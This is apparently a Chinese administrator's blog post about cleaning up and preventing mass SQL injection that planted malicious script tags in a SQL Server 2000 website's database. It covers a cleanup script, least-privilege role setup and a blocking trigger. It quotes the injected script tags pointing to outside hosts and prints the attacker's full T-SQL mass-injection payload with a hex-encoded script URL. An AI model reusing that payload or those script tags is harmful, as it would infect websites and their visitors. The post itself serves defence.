時隔一年之多,最近單位的網站又被掛馬了,唉,原因呢?因為單位的破網站還在使用SQL Server 2000的過時數據庫,漏洞太多了,這次發現的掛馬不是再是<script src=http://3b3.org/c.js></script>了,換成其它兩個代碼,分別是:<script src=http://jiongjia.com/c.js></script>和<script src=http://shgdjx.com/x.js></script>,人與權、錢的社會,黑客們為了錢什么都干,無奈很多,但是解決問題才是主要的,要不然領導們又該說話了。
首先是清除數據庫中所有表的掛馬,語句如下:
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000) set @inScript='<script src=http://jiongjia.com/c.js></script>' declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' ) fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor; |
注意:請將上邊語句中的紅色部分換成你被掛馬的代碼,然后在查詢分析器中執行,記得選擇數據庫。
下面再來說一下如何防范,系學院轉載的內容,大家自己瞧著辦。
其實解決的根源還是在代碼上經行嚴格的驗證和過濾。只可惜網站群代碼實在太多,而且出自不容程序員手筆。所以一時難以從源頭徹底根治。只好在從沿途的路徑關卡出處處把關。
首先我想到是微軟的urlscan。但是仍然失敗。urlscan 只是對get進行屏蔽,而對post,cookie無能為力。
后來我在代碼處加入了post和cookie的屏蔽,由于對注入的方式方法上缺乏深入的認識,以及代碼繁多,仍告失敗。
于是我想到在數據庫上這個角度對注入經行攔截。傳到數據庫的注入sql是:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar,['+@c+'])) +cast(0x3c2f7469746c653e3c2f7072653e3e3c736372697074207372633d687474703a2f2f73622e353235322e77733a38382f3130372f312e6a733e3c2f7363726970743e3c212d2d as varchar(67))') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor; |
從中可以看出要執行這段代碼,執行該語句所需要的用戶權限還是非常大的。可是一般設置的數據庫用戶的權限,我們給予的數據庫角色往往是:public 和 db_owner:
而實際上db_owner的權限實在太大了。大到足以運行以上注入語句。所以得取消db_owner。可是取消db_owner后又權限不夠,因為select update這些基本的語句肯定是需要的。
在仔細的研究過sql server的權限控制體系后,我發現如果自己創建用戶角色,分配最小的幾個語句權限,就能做到量體裁衣,給予最小的權限。那么declare sysobjects syscolumns set exec 這類非常危險的語句也就被禁用了。
方法如下,假設數據庫為tempdb:
先執行一下語句,創建角色:
use tempdb
Create ROLE beacoder_role
再分配權限給beacoder_role:
use tempdb
GRANT select TO beacoder_role;
GRANT update TO beacoder_role;
GRANT insert TO beacoder_role;
GRANT delete TO beacoder_role;
注意去掉權限為:REVOKE execute TO beacoder_role;
然后把網站數據庫用戶假設為tempUser所有的服務器角色去掉,剩public.(有關數據庫角色,服務器角色,用戶,架構等請查文檔)
再在數據庫角色那里,去掉所有角色成員,只留下beacoder_role和public
到此為止,上面那段代碼即使在頁面上被注入,但是提交到數據庫的時候已經不起作用了。因為declare sysobjects syscolumns set exec cursor全部沒有權限!
但是在賦權的時候我是賦予了update權限,GRANT update TO beacoder_role;所以那段循環所有表所有字段的代碼已經沒用。但是手工對某個表某個字段進行注入的話,還是沒有辦法。本篇主要探討在數據庫的角度對sql注入進行屏蔽,所以對這個病毒代碼需要對手工的update再次進行屏蔽。
我想到的方法是建立觸發器,監視任何的注入病毒特征碼,即是:clear3.com/css/c.js
觸發器如下:
create trigger [dbo].[beacoder_inject]
on [dbo].[News]
for update
as
begin
declare @in varchar(50)
set @in ='css/c.js'
begin tran
select 1 from inserted where
charindex(@in,lower(title))>0
or charindex(@in,lower(filepath))>0
if @@rowcount>0
begin
raiserror('感謝您為我們做安全檢查!',16,1)
rollback tran
return
end
else
begin
commit tran
return
end
print ''
end
上一篇 四種常見網站推廣手法簡談